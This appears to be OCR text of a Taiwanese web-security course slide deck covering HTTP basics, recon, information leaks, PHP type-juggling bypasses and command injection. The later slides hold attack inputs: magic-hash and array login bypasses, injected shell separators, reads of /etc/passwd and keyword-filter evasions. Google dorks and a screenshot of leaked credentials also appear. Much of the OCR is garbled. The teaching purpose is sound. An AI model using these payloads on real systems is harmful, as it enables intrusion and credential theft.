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BASICS



What is Web ?
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Frontend Backend




Browser Server
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HTML, Javascript, CSS Apache, PHP, MySQL, NodeJS




URL Components

Authority Query
http:// /foo/bar?size=big
N b N

Scheme Path Fragment



HTTP Protocol

o FISZFI AR > PRIZZENRSE ?

http://kaibro.tw




HTTP Protocol

HT TP Request 000 ammmm
000 ammm

HT TP Response

Browser Server



HTTP Protocol

HT TP Request 000 ammmm
000 ammm

HT TP Response

Browser Server



HTTP Protocol - Raw Request

GET /
Host: kailbro.tw
User-Agent: Mozilla/5.0 ... Firefox/56.0

Cookl1e: sess1on1d=54875487
Connection: close



HTTP Method

GET / HTTP/1.1
Host: kaibro.tw

User-Agent: Mozilla/5.0 ... Firefox/56.0
Cook1e: sess1on1d=54875487
Connection: close

HTTP Method



HT TP Method

e HTTP Method (Verb)
- REFEREH

- 2H7A GET » POST » HEAD » PUT -~ ...



HT TP Method

e GET

http://kaibro.tw/?id=9487

e POST

username
http://kaibro.tw/




WHERE ARE THEY?1?!

o




POST Request

POST / HTTP/1.1

Host: kailbro.tw

User—-Agent: Mozilla/5.0 ... Firefox/56.0
Content-Type: application/x-www—-form-urlencoded
Content-Length: 31

Connection: close

username=kaibro&password=123456



POST Request

POST / HTTP/1.1

Host: kaibro.tw
User-Agent: Mozilla/5.0 ... Firefox/56.0
Content-Type: application/x-www—-form-urlencoded

Content-L th: 31
onten | eng ERE
Connection: close ‘//

username=kaibro&password=123456



CRLF Newline

POST / HTTP/1.1\r\n

Host: kaibro.tw\r\n

User-Agent: Mozilla/5.0 ... Firefox/56.0\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 31\r\n

Connection: close\r\n

\r\n

username=kaibro&password=123456



Request Path

GET / HTTP/1.1
Host: kaibro.tw

User-Agent: Mozilla/5.0 ... Firefox/56.0
Cook1e: sess1on1d=54875487
Connection: close

Request Path



HT TP Version

GET / HTTP/1.1
Host: kaibro.tw

User-Agent: Mozilla/5.0 ... Firefox/56.0
Cook1e: sess1on1d=54875487
Connection: close

HT TP Version



HTTP Header Pairs

Host: kailbro.tw
User-Agent: Mozilla/5.0 ... Firefox/56.0
Cooki1e: sessi1on1d=54875487

Connection: close

HTTP Header (Key: Value)



HTTP Protocol

HT TP Request 000 ammmm
000 ammm

HT TP Response

Browser Server



HI TP Response

HTTP/1.1 200 OK

Date: Sat, 12 Oct 2019 03:21:42 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 31

Connection: close

Content-Type: text/html; charset=UTF-8

<html><body>Hel lo</body></html>



Status Code

HTTP/1.1 200 OK

Date: Sat, 12 Oct 2019 03:21:42 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 31

Connection: close

Content-Type: text/html; charset=UTF-8

<html><body>Hel lo</body></html>



Status Code

¢ 2XX: IEE

Headers Preview Response Cookies Timing

o 3XX Egrﬂ v General

Request URL: http://kaibro.tw/bad/
Request Method: GET
e 4XX: CI Ient'ﬁ#"ﬁ\krﬁj:é Status Code: ® 403 Forbidden
Remote Address: 54.238.163.34:80
Referrer Policy: no-referrer-when-downgrade

e 5XX: Serveriififis






403

Forbidden

ICANHASCHEEZEURGER.COM o 2 aw



404

Not Found




Internal Server Error




Response Body

HTTP/1.1 200 OK

Date: Sat, 12 Oct 2019 03:21:42 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 31

Connection: close

Content-Type: text/html; charset=UTF-8

<html><body>Hello</body></html>
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K~ tlj Elements Console Sources Network Performance Memory Application Security Audits A2
<!doctype html> Styles Computed »
<html 1temscope itemtype="http://schema.org/WebPage" lang="zh-TW">
» <head>..</head> thov .cls F
v <body jsmodel=" " class="hp vasq big" 1d="gsr'> .

r <style>.</style>

r <style data-jiis="cc" 1d="gstyle">._.</style>

%

» <styles.</style> div" user agent styleshee
v<div class="ctr-p" 1d="viewport'> display: block;
<div 1d="doc-info''></div>
P <div id="cst">.</div> Inherited from body#gsr. hp..
> <style>.</style> body, ‘ (index) : 92
» <div 1d="gb" class="gb_Tf">.</div> font-size: small;
v<div class="1hp big" id="searchform'>
P <script nonce="JINcCN6ERYYPJLmm+0EzdOhA=="">_</script> body = ‘
» <div class="sfbg nojsv" style="margin-top:-20px">.</div> - . - -
v<form class="tsf nj}" action="/search" style="overflow:visible" 1id="tsf" method="GET" name="f" onsubmit="return calor: #222;
gq.value!=""" role="search'">
» <div 1d="tophf'">.</div>

» <div jsmodel="vWNDde" jsdata="MuIlEvd;;CE70+k">.</div> == $@ bodyy td, @, py - Linaex):ids

html body#gsr.hp.vasq.big div#viewport.ctr-p divé#searchform.jhp.big form#tsf.tsf.nj div font-family: arial, sans-



Cookie
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O @, Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz

4 Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Flow >

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content @

# Host Method URL Params Edited Status Length MIME type Extension T
LL NTIPS:/ /WWW.Qo0ogIe-analytics.... Lt /plugins juaj/nkia.)s 3U4 201 SCript Js

34 http://access.line.me GET / 403 409 HTML 4
36 http://access.line.me GET [favicon.ico 403 305 HTML ico 4
37 https://buy.line.me GET / 200 110018 HTML
40 https://scdn.line-apps.com /channel/dlalog/sso login/js/sso-l... 304 265 script

Request | Response |

. Raw Headers Hex HTML Render

HTTP/1.1 200 OK

Content-Length: 109613

Content-Type: text/html; charset=utf-38

N - o . (A TR 17 faPoE = TN 10 1 £ AL .4 £ M

Etag: W/"lac2d-2prWbU7ZiMZuS5SFWzZzz05r3fh4"

Set-Cookie: CHECK AD LIGHTBOX=17402 1570982400000; Max-Age=604800; Path=/; Expires=Sun, 20 Oct 2019 16:46:41 GMT|
Strict-Transport-Security: max- age=31536000

X-Frame-Options: SAMEORIGIN
Connection: close

I M- \Jt.'l..L\_l.un [T RS S- ST

="lang,class">

<meta data-vue-meta="true” ) "utf-8"/><meta data-vue-meta="true"” name="viewport"”
content="width=device-width, 1niti S 2=]1.0, maximum-scale=1.0 LEEL—C“alablH—', viewport-fit=co
data—vue—meta=“t1u_" data—\mld- : leir' rame—';e:_Llptlir' cortert— BB — 04
Cl—EER , — AN &K ?Fm InnbEiE W | - "ff~1 'Yahoo iR R EER O/ BEREH., vDN, Prid a~000 AR, E£EME, Cciti
Herbuyu‘ifTPi;a %fﬁ.ﬁ AMZ, ‘|| =3 ,wu§Fr1,;i’f3ﬁﬁZ”:: ¢ , LINE
Friends, OBRRE, WHE Pazzo, D+AF, Levis. Timberland. NEX, BWIEZER, B . DADA, MEIER.Q. 101§, MIUSTAR, GENQUO,

|/7\| < + > ‘:' ‘..-, L', k- ,l; L'.L' » »‘ _L',' g 0 matCheS

./




Cookie & Session

o W{oJFIET—EEKERBMME{ERE
o WNMOiER(ERAE A REMEFERE B ?
o Server WOHIEM{EFREEEEA



Cookie & Session

+ Cookie 7718 Session 1D (3#iBK®) [ D | SEssioN

e Session (ERH}) 71X ID ¥ BRI E seadog
seacat .
_ |_> Meow user=kaibro
SESSIONID meow glejtelele

Client (Cookie) Server



Cookie & Session

+ Cookie 7718 Session 1D (3#iBK®) [ D | SEssioN

e Session (ERH}) 71X ID ¥ BRI E seadog
seacat )
_ |_> Meow user=kaibro
SESSIONID meow glejtelele

Client (Cookie) Server



Cookie-based Session

o BEEIRTFLEIN Session TE Cookie #8
- Data #8810

- M BN (BiE & Key <A



Cookie-based Session

Q QO Cookies Manager+ v1.14.3 [showing 9 of 2923, selected 1)
Search: {2 github.com

[W] Domain Name
[ ] github.com Host-user_session_same_site

[ ] github.com device_id

D .github.com ga

[ ] github.com gh_sess

[:] .github.com octo

|:] .github.com dotcom_user

[ ] github.com has_recent_activity

|:| .github.com logged_in

github.com user_session

22#8: user session
A% c-JCPUSrBnCIO) L10MoquG3le1VD

Domain: github.com
BETE: [
R/W - _ FERNFZZEHR
RIW | BRAM: 2019108280 GMT+8 E%2:00:02 Will'expirein*13'days®23 hours®59'minutes®32/seconds

New Cookie Delete




Essential Tools

e Hackbar

e Burp Suite



. Balsn | a CTF team from Ne¢ +
< (Oa balsn.tw

=9 SQL~ XSS~ Encryptionv Encoding~ Other~

= Load URL
& split URL
» Execute

Enable Post data Enable Referrer

Balsn

About Members Awards Contact Writeups CTFtime Twitter

Balsn

News

Balsn CTF 2019 has ended!
Congrats to top 3 here and Taiwan Star:

>> 1st: hxp
>> 2nd: LC 4« BC

>> 3rd: PPP
>> Taiwan 1st: FTD2AUEQAQ




Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz

Dashboard Target Proxy Intruder | Repeater = Sequencer Decoder Comparer Extender Project options User options Flow Deserialization Scanner Wsdler

2 X X X X X X 8 = 9

—

Target: https://balsn.tw @

l Raw Headers Hex | Raw Headers Hex HTML Render

—

GET / HTTP/1.1 HTTP/1.1 200 OK
Host: balsn.tw Content-Type: text/html; charset=utf-38
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 10.14; rv:56.0) Server: GitHub.com
Gecko/20100101 Firefox/56.0 Last-Modified: Mon, 07 Oct 2019 12:34:55 GMT
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*; . ETag: W/"5d9b30ef-3ed8"
Accept-Language: zh-TW,zh;g=0.8,en-US;g=0.5,en;g=0.3 Access-Control-Allow-Origin: *
Accept-Encoding: gzip, deflate Expires: Mon, 14 Oct 2019 20:30:19 GMT
DNT: 1 Cache-Control: max-age=600
Connection: close X-Proxy-Cache: MISS
Upgrade-Insecure-Reguests: X-GitHub-Reguest-Id: 8754:6BC9:63DF74:6AC111:5DA4DS8
Content-Length: 16088
Accept-Ranges: bytes
Date: Mon, 14 Oct 2019 20:20:19 GMT
Via: 1.1 varnish
Age: 0
Connection: close
X-Served-By: cache-hndl8734-HND
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S$1571084419.339908,VsS0,VE172
Vary: Accept-Encoding
X-Fastly-Request-1ID: 9ed433194dd21b77e3ebdae2elddc33b8f5da766d4
'TYPE html>
<html lang="en-US">
<meta charset='utf-38'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, 1nitial-scale=1"
<link stylesheet”
href="/as:

43x48 64x6¢

</—-- Begin

<title>Balsn
University</
<meta name="¢

0 matches ? < + >




Information Gathering



Recon (Reconnaissance)

=/ ==

o HEiEE
o IT¥TEMERIEEN
- IP Range

18

2 AWM 5 TR Dol .~
e’ 8 !\‘\‘ i / 75

s

\ L2 v ANY

. B A A
AR S A

\ ) .4 ' -c

- Open Port (Service)

- Sub Domain

Directory / Path Enumeration

- Fingerprinting




Recon (Reconnaissance)

o IRAHT:

®® ¥ onemb ¢ @ muERAS x +

& o> C & ntu.edu.tw

o Wappalyzer Englis

- Server Header

SRS ' SMiNTR VER AR
- URL Route / Path 0 s -
B I
2020 THEHH /R B HH 4 ki MRMERRITS
ad Google Analytics OpenSSL 0.9.8e
PEBRRERMATHAR B
- Error Message (HT TP 4xx / 5xX
PE[ERSS

WA 15202 2.5 4018 - mod_ssl 2.2.9
# Apache 229

WA BRI RIS - JavaScript g4/

o °
- COOkle / SeSSIOn ID TR = (1382 M2019E T AR BIR HAkR

MR ER MR AR FIRRFEME DIKEAEERFmA

e Fingerprinting Tool : Wappalyzer



®0® @ 52197162211 X <+

& - C @O FELE | 52.197.162.211 & ¢ mEE @ :

Here is the source for you: Default.txt

[w [ﬂ A EES Console Sources Network Performance Memory Application Security Audits
O ¥ Q Preserve log Disable cache  Online \ x . 4 .
20ms 40 ms 60 ms 80 ms 100 ms 120 ms 140 ms 160 ms
Name Headers Preview Response Timing

nReemer Foucy:. no=reicrrer=wnen=aowngraac

B 52.197.162.211

B bootstrap.min.css v Response Headers

B css?family=Neucha|Cabin+Sk... Cache-Control: private

B QGYpz_kZZAGCONCK2A4bG... Content-Length: 1803

B g5uGsou0JOdh94bfvQItKRZU... Content-Type: text/html; charset=utf-8

DF""' Criam 12 Neod+ "AIN _1N0.10. 40 GMT

Server: Microsoft-I15/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

5requests 2.0 KB transferred ;. ¥ Fiequest Headers



® Log In < Your Facebook — Wor X -

< - C O nttps://your.fb.corh/wp-login.php 0] MESRN @

L — —

@ Log in with WordPress.com

You can now save time spent logging in by
connecting your WordPress.com account to
Your Facebook.

OR

Log In with username and password

¢ Back to Your Facebook




® O Apache Tomcat/7.0.56 - Error 1 X -

& -5 C A F€E| 203.104.129.150 & & W @

HTTP Status 404 -

305 Status report

II S S At >

L The requested resource is not available.

Apache Tomcat/7.0.56

Tomcat 7.0.56




Certificate

e

® ® G crtsh| %.linecorp.com X

- C

Certificates

-

crt.sh/?q=%25.linecorp.com

crt.sh ID

2001174589
1998354146
1989113770
1983540567

1979107099

1958630039
1958632083

1957452979

1957452979

1956836174

crt.sl

Criteria

2019-10-15

2019-10-15

2019-10-11

2019-10-11

2019-10-10

2019-10-04

2019-10-04

2019-10-04

2019-10-04

2019-10-04

1,

W Y mEER 2 @

Identity LIKE '%.linecorp.com’

2019-10-

15

2019-10-

15

2019-10-

11

2019-10-

11

2019-10-

10

2019-10-

04

2019-10-

04

2019-10-

04

2019-10-

04

2019-10-

04

Logged At {r Not Before Not After
2020-01-

13

2020-01-

13

2020-01-

09

2020-01-

09

2020-10-

10

2020-01-

02

2020-01-

02

2020-10-

04

2020-10-

04

2020-01-

02

Identity
newtag.dev.linecorp.com

newtag.dev.linecorp.com
search-test.linecorp.com
search-test.linecorp.com

local.dev.linecorp.com

158a1a212ed41f55a7dcf3825ff6¢c99a.linecorp.com
158a1a212ed41f55a7dcf3825ff6c99a.linecorp.com

* iprotect.linecorp.com

iprotect.linecorp.com

ds-shiny.linecorp.com




0 REFL IR R R e X +

& > C A FR2| 203.104.129.168 Yo mEER2) ©

A

IRIVELR A ETAAELR

IWBRE o] ge A @Rt 203.104.129.168 FEEVRBVFEN (PR ~ EFaEHFHER) - B
n;.'

NET::ERR_CERT_COMMON_NAME_INVALID

EELFES =g s

FIRRSS L AR E B 203.104.129.168 4815 ; Eﬁ%'lﬁ%?ﬁ%ﬁk & * linecorp.com 4
o EEAEREASENS A NBRENERIEGH - -

SRERAIT 203.104.129.168 !




A Visual Guide to Recon

Ben

Sadeghipour
(@nahamsec)




Information Leak

e Sensitive Information
- Username / Password
- Source Code

- URL Route / File path

- Config




why Leak?

e Backup files / version control
- www.tar.gz

'] Index of Jadmin/backup

- .g It / .SV n s C' [ www.vulnweb.com/admin/backip/

Index of /admin/backup

e Temporary files

. Name Last modified Size Description
- .index.php.swp
‘arent Directory
. d h 1 s.log 2012-10-2508:20 63K
= I n ex' p p~ | database_connect php 2012-10-25 08:22 298
db_ dump.sc 2012-10-2508:21 98K
e Others ) old_pass t 2012-10-25 0822 6 3K
Apachell. 4.2 (Win3Z) OpenSSLA.0 lc PHE/S.4.4 Server at www.vulnweb.com
- rObOtS.tXt Port 80

- .DS_Store



robots.txt

® https://github.com/robots.txt X -

& > (C & github.com/robots.txt & v mEsR ©
o Z1H#

# If you would like to crawl GitHub contact us at support@github.com.
# We also provide an extensive API: https://developer.github.com/

1R S

ENRE NS,

ZCaaEHY

o IR TIEIUILERITL T

User-agent: CCBot
Allow: /*/*/tree/master
Allow: /*/*/blob/master

Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:

/ekansa/Open-Context-Data

/ekansa/opencontext-*
/*/*/pulse
/*/*[tree/*
/*/*/blob/*

f* /% [wiki/*/*
/gist/*/*[*

/oembed

/*/forks

/*/stars
/*/download
/*/revisions
/*/*[/issues/new
/*/*/issues/search
/*/*/commits/*/*
/*/*/commits/*?author
/*/*/commits/*?path
/*/*/branches
/*/*/tags
/*/*/contributors
/*/*/comments
/*/*/stargazers
/*/*/search
/*/tarball/
/*/zipball/
/*/*/archive/
/raw/*

/*/followers
/*/following




Backup files

o B TR > IBF1E{D

® - BRI ESTS
. S =EHo= =2 - & @& aqg=®
- backup.zip -
Cloud N ESER i3l SX L54:29
, > B AT RERR 2 SX F54:29
. @ iCloud BIR | oo resmmmn 3 SFE F44:29
- WWW.Z|p R > RS RMER 4 SR L44:29
: Li backup 8 2.zip Sx F54:30 164 |
tREc L) backup i£8 3.zip S% F44:30 164 |
Li backup %8 .zip S%x F44:30 164 |

SX £54:30 164 |

- www.tar.gz 1 pecicn

- index.php.bak



Temporary files

o fREHAS (715
- .index.php.swp

- index.php-~

- #index.php#

e OJ32]R Source Code



git / .svn / .hg

o IRAEE R
o R LERERTARIZER

e TJi&H Source Code

Q git

e Tool

- github.com/denny0223/scrabble



@0 0® { m=z-pelCTF ® HITCON ZeroDay ® Picsee .git [RIATH; Index of / [.gi X e

< > C O | @ htpsyf w @ @
i: ERERERX @ GPA 5 Web Security » | B HthE2H

Index of /EE/.git

Name Last modified Size Description

3 Parent Directory

7] HEAD 24-Jun-2018 21:03

(£ branches/ 24-Jun-2018 21:03

?] config 24-Jun-2018 21:03

] description 24-Jun-2018 21:03 73
24-Jun-2018 21:03 -
24-Jun-2018 21:03 2.0M
24-Jun-2018 21:03 -
24-Jun-2018 21:03 -

(C3 objects/ 24-Jun-2018 21:03 -

@ packed-refs 24-Jun-2018 21:03

CQrefs/ 24-Jun-2018 21:03

Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.7 with Suhosin-Patch Server at I tw Port 80




DS Store

0O stop junk contacts from mail
¢ Bl=oo = % 0 a

» Mac ERIE RESHEITE B awe

& iCloud Drive

@ AirDrop
4~ Applications

ADEK E AR S TH B .

0 Downloads
Pictures

o AILASIRERIRNIVERZE E.

Q Google Ch... =

Tags

® TOOI @ OSXDaily.com

1 of 4 selected, 15.8 GB available




Bucket

® AWS gjm E ;ﬂﬁ?% B Amazons3
Q
3 4 'l' + Create bucket 42 sucrers 3 6 regions
o #EPRERTEEEER (Public)

& jbarr-public US East (N. Virginia) Sep 10, 2014 6:01:05 PM

¥ jparr-edge US East (N. Virginia) Nov 23, 2016 6:40:14 AM

¥ awsroadtrip.com US East (N. Virginia) Apr 30, 2013 7:46:50 AM

&2 Bucket Nam pon h
U C e O e ¥ www.awsroadtrip.com Not public * US East (N. Virginia) Apr 30, 2013 7:49:34 AM

e Tool:

Case study:


https://medium.com/@protector47/how-i-earned-1-500-in-just-15-mins-due-to-amazon-s3-bucket-misconfiguration-953b28242f95

AWS S3 Bucket

e Bucket Name &1 E—Y

e Endpoint format

[region].amazonaws.com

[region].amazonaws.com/

e Example: s3-us-east-2.amazonaws.com/ /secret.txt



e & screenshotstest.s3.us-east-2. X -~

& - C @O ALE | screenshotstest.s3.us-east-2.amazonaws.com Y WEER @

This XML file does not appear to have any style information associated with it. The document tree is shown below.

v<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>screenshotstest</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTrup q> p< /12T
/ w<Contents>
<Key>00056e49-5618-43f5-a050~-ba%abaell0dl.png</Key>
<LastModified>2017-10-07T10:26:02.0002</LastModified>
<ETag>"b00074c8c241714911c10892087a3328"</ETag>
<Size>764919</Size>
k\ <StorageClass>STANDARD</StorageClass>
\, </Contents>
v <CONCEencs- B ) e
<Key>00088bd5-3a83-4cB8a-b9%7e~-437c3b7cadl3.png</Key>
<LastModified>2017-10-07T09:11:18.0002</LastModified>
<ETag>"779%9aebccfea2dba8l0llelfac3776ccceld”"</ETag>
<Size>469564</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
v<Contents>
<Key>000ffab6-85d5-42a6-8501-87db6ab8baea.png</Key>
<LastModified>2017-10-09T14:41:12.0002</LastModified>
<ETag>"207250alb3acb652ddblleleeb8734ae"</ETag>
<Size>280013</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
v<Contents>
<Key>00134a41-2f64-4465-a917-960d9%b1c4607 .png</Key>
<LastModified>2017-10-10T13:47:56.0002</LastModified>
<ETag>"915875£f8b37fa5d9%d3ce24e5dc6l27fa"</ETag>
<Size>700722</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
v<Contents>
<Key>00140c9c~-d083-4455-91c4-a454297149%ab.png</Key>
<LastModified>2017-10-11T15:00:40.0002</LastModified>




Google Hacking

e FH Google 3Tk
o MEIEZIEE

- site:ntu.edu.tw login G'.SI{/
- site:itw ext:sgl password



L Google Hacking Database (GH X -

& —> (C @& exploit-db.com/google-hacking-database & Rﬁﬁﬁ@ :

o

EXPLOIT i - @ (GETCERTIFIED
DATABASE . )

Google Hacking Database

B Quick Search

2019-10-09 intitle:"index of” "web.config.txt’ Files Containing Juicy Info Reza Abasi
g.o\ 2019-10-07  site:*/wp-admin/maint/repair.php intext:"define(WP_ALLOW_REPAIR true);" Error Messages Reza Abasi
2019-10-04  site:*/wp-includes/Requests/php_errorlog Error Messages Reza Abasi
._’.l 2019-10-02  site:*/account/preferences Pages Containing Login Portals Reza Abasi
2019-10-01 "Powered by vBulletin Version 5.5.4" Vulnerable Servers anonymous
1 2019-10-01  site:*/request-password-reset Pages Containing Login Portals Reza Abasi
2019-09-30 site:*/cqgi-sys/defaultwebpage.cqgi intext:" SORRY!" Error Messages Reza Abasi
2019-09-27  site:*/wp-settings.php Files Containing Juicy Info Reza Abasi
*
2019-09-27 inurl:/dana-na/ filetype:cqi Pages Containing Login Portals Francis Al Victoriano
2019-09-26 site:*/wp-admin/user-edit.php Pages Containing Login Portals Reza Abasi
PWK

2019-09-26 site:*/wp-admin/install.php intitle:WordPress Installation Footholds Reza Abasi




GitHub Hacking

e GitHub : RIBAEMZETA
o REHBEE L BEEE « Secret Key

:
o E=AEMBFEIETE gﬁ’
v

‘¢



o Search + "csie.ntu.edu.tw" pa: X B

&« - C & github.com/search?p=5&q="csie.ntu.edu.tw"+password&type=Code B ¥ ﬁfﬁﬁiﬁ@ :

O "csie.ntu.edu.tw" password Pull requests Issues Marketplace Explore A +-~ ﬁ'

Repositories 1,328 code results Sort: Best match ~

Code
ﬂ Terryhung/mi_hw
Commits hw6/index.html

Issues <a href="/calendar/calendar.php?CID=1">{TSHE</a>
<span>|</span>

Packages <a href="https://www.csie.ntu.edu.tw/login.php">LOGIN</a>

<a href="https://council.csie.ntu.edu.tw/index.php">ERABFNTEREZZSR</a><dbr />
<br />
Topics <a href="http://www.csie.ntu.edu.tw/ieet">IEET T#22HATE</a><br />

Marketplace

® HTML Showing the top 10 matches Last indexed on 29 Jun 2018
Wikis
Users

e
database/ G

Languages , <?php

CSV

/ Define database connection constants
Text define('DB HOST', '—.csie.ntu.edu.tu');
define('DB USER', '{II:on');
define('DB_PASSWORD', 'driE6');
Roff | define('DB NAME', 'smartpower2');

H T M L




Case Study: GitLab Leak

L «» Projects - Explore - GitLab X -~

< - C A FRLEE| /explore/projects CTR *¢ ﬂfﬁﬁi’t@

= V Explore GitLab

Explore GitLab

Discover projects, groups and snippets. Share your projects with others

Trending Most stars Filter by name... Last updated

*0 @
updated 10 months ago

*0 @
updated a year ago

*0 @
updated a year ago

*0 @
updated a year ago

*0 Q@
updated a year ago

*0 @
updated a year ago

Public Repo



Case Study: GitLab Leak

®® |y &AM - master- X +

& S5 C A FRERR /blob/master/F &t &M B A mERR @
= & I .= : m

master VB /| RZSHEAR Q Find file Blame History Permalink

’5‘;?\ update system information Hracst 1
= (M committed a year ago

2] REAF 559 Bytes Iy

EHREM:

1p:

0S: CentOS 7
FHRERRE:

I

A
ERERIRAIE

/var/waw/htm /[
IRAREA:

SN,

ARRE:

/var/w/htm L/
H R ERE

ER R

R
Wi RERBE:

aNn

a%JE: sudo crontab -e




Common Tools

e Port Scan e Directory / File Scan
- NMAP - dirseach
- Masccan - DirBuster

e DNS Discovery e Asset identification
- Sublist3r - Shodan

- AMass - Censys









Introduction
ADDICTS

Before and after

e Hacker Friendly

s REFZLBRHRBNERE

o ZIEEPRE PHP 4uk
- a0 aRElK s RKKEER

- Wordpress, Drupal, Joomla



My First PHP Bug

NULL == 0
NULL < -1



My First PHP Bug

NULL==0 — Dbool(true)

NULL< -1 —  bool(true)






Weak Type

o Auto Type Casting

"1" n nZn —_— 1nt(3>
"§5" + 5.5 — float(10.5)
"30cm” == 30 ——> Dbool(true)

false == NULL —> bool(true)



A Bl

$hash "0ebbbbb0b060000bbbbbbbbbb66666606006" ;
(md5($_GET[ 'secret']) $hash)
echo "YOU WIN!":



4R

Ti

5l 1

$hash "0ebbbbb0b060000bbbbbbbbbb66666606006" ;
(md5($_GET[ 'secret']) $hash)
echo "YOU WIN!";

O Solution: /?secret=240610708



md5("240610708" )

|

"0e402097431900509019502988/736854 "

-



why??

e (number) e (number)

- B2 ECHR

"0e87" —= "0e78"

N\

0 ——

bool(true)

/




00se comparnsons w

-1
TRUE
FALSE
FALSE
FALSE
TRUE
FALSE
FALSE
TRUE
FALSE
FALSE
FALSE

FALSE

nq
TRUE

FALSE
TRUE

FALSE
FALSE
TRUE

FALSE
FALSE
FALSE
FALSE
FALSE

FALSE

"0"
FALSE
TRUE

FALSE
TRUE

FALSE
FALSE
TRUE

FALSE
FALSE
FALSE
FALSE

FALSE







More Magic !

e md5(|]) == NULL
e strecmp([], []) == NULL
e strlen([]) == NULL

e file_put_contents("a.php", ["<?","php", " phpinfo();"1)
- SR BEA




A Bl

$pass = $_GET['pass'];
( strcmp($pass, $secret) 0 )
echo "YOU WIN!":



458 BH

TUN B~

{51l-F

$pass = $_GET['pass'];
( strcmp($pass, $secret) 0 )
echo "YOU WIN!":

O Solution: /?pass[]=x



ALY

TUN B~

{5+ again

$name = $_POST["'name'];
$r = $db->find($name);
($r->pass md5($_POST[ 'pass']))
echo "Loglin success’;

How to bypass?



ALY

TUN B~

{51+ again

$name = $_POST["'name'];
$r = $db->find($name);
($r->pass md5($_POST[ 'pass']))
echo "Loglin success’;

MRAFPAFE. ..



ALY

TUN B~

{5+ again

$name = $_POST["'name'];
$r = $db->find($name);
($r->pass md5($_POST[ 'pass']))
echo "Loglin success’;

$r->pass — NULL



ALY

TUN B~

{5+ again

$name = $_POST["'name'];
$r = $db->find($name);
($r->pass md5($_POST[ 'pass']))
echo "Loglin success’;

O Solution: name=nonexist&pass| |=x



More Magic !

* Array Bracket

- $array[87] $array{87}
e Double Quote Evaluation

- $msg = "Hello, $name”

- $msg = "${@hpinfo()}"
 Case Insensitive

- <?pHP sYStEm(ls);
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How to find bugs?

e Garbage In, Garbage Out

o HEEIF: IKIERBWAT NMERIGFEMREN
o HFEIL: efEbzREiE LEZIERAZImA



How to find bugs?

* Input
-$ _GET/$ _POST/$ REQUEST
- $_COOKIE / $_SESSION
- $_SERVER
- $_FILES

- $_ENV



How to find bugs?

e Dangerous functions
- create function
- system
- * replace
- shell exec / exec
- include / include once
- popen / proc_open
- requre / require_once
- assert

- passthru



How to find bugs?

e Dangerous functions
- create function
- system
- * replace
- shell exec / exec
- include / include once
- popen / proc_open
- requre / require_once
- assert

- passthru



Lab 0x01 - Sushi &



Common Vulnerabilities



Weak Passworad

IThome 5 ES8kii B A EMEE Cloud DevOps GDPR HR MWi®- #E- HHEK QiEs

20195HITCON ZeroDayEiﬂiﬁﬁEiﬁR 9% B B iR iy B E 1T
LEMBAT RS IR

s 2R TBREBELE | USHERAARSINEE - FSEHITCON ZeroDayiRmiRiBERI DS » 2ER
B RSAL Injection ~ XSSIREINARZE » MSBIBRIEESEREMITRVFER

X/ GBIEE | 2019-08-24 B IMEEL) &fmAiThomelni4®  MEED 23 Lenovo.
£iZRIEH Thinkpad

FBEFERBTEMIAPER - ZEHF
—EZBEIFE!

p , BRRANKEETA  IPBan
REAR:HITCON ZeroDay 20190822 (0 . % FBREASHSH IR : LogonTracer
| : Day25: [Misc] TR B BEEHGR

code




Weak Passworad

o RIATAEREBIHTARELN

—

- admin / admin ' .
' - .

. A2 )
- tomcat / s3cret Pk 'e ,
!
v, S == J )
. FREEIB I 28 A\

X\

- admin / 123456 e\

- root / hello123



"\ Mark Zuckerberg @fin«d

33 Hey, @finkd You were in Linkedin
Database with the password
"dadada” ! DM for proof..

ZUCK GET PWNED!
:

ldadada



Insecure Direct Object References

o LITEREEAS
- /user/1001/changePassword
- /user/1002/changePassword
o EHEMREEAS
- /user/getAccount

- /admin/getAccount






oll FEEE 46 18:05 @ 49% = ) oll PEEE 46 18:13 @ 49% =

BH BRIASZAY

R X(iPhoneX) SRER £ME64G ROM, ...
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IR
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Injection

o I ARIFIRENIET ~ EfHsED) - SEFETRAATTA
- Command Injection
- CRLF Injection
- SQL Injection / NoSQL Injection
- XPath Injection

- Template Injection



Command Injection

o FITHRGFIR<EL D FIIE

system("ping -c 1 " . $_GET['ip']);



Command Injection

o FITHRGFIR<EL D FIIE

system("ping -c 1 " . $_GET['ip']);

[E=fmA: 8.8.8.8



Command Injection

o FITHRGFIR<EL D FIIE

system("ping -c¢ 1 " $_GET['ip']);

AIEEmA: 8.8.8.8



Command Injection

o FITHRGFIR<EL D FIIE

system("ping -c¢ 1 " $_GET['ip']);

AIEEmA: 8.8.8.8



CAZEW

e ping 8.8.8.8 ; s

e ping 8.8.8.8 | 1s

e ping 8.8.8.8 && s

e ping 8.8.8.8 $(sleep 5)

e ping 8.8.8.8 sleep 5



Bypass Space

e cat${ISF}/etc/passwd

e cat</etc/passwd

e {cat,/etc/passwd}



Bypass Keyword

e String Concat
- A=f1;B=ag; cat $A$B;
e Empty Variable
- cat f${x}tag
e Environment Variable
- $PATH => "/usr/local/..."
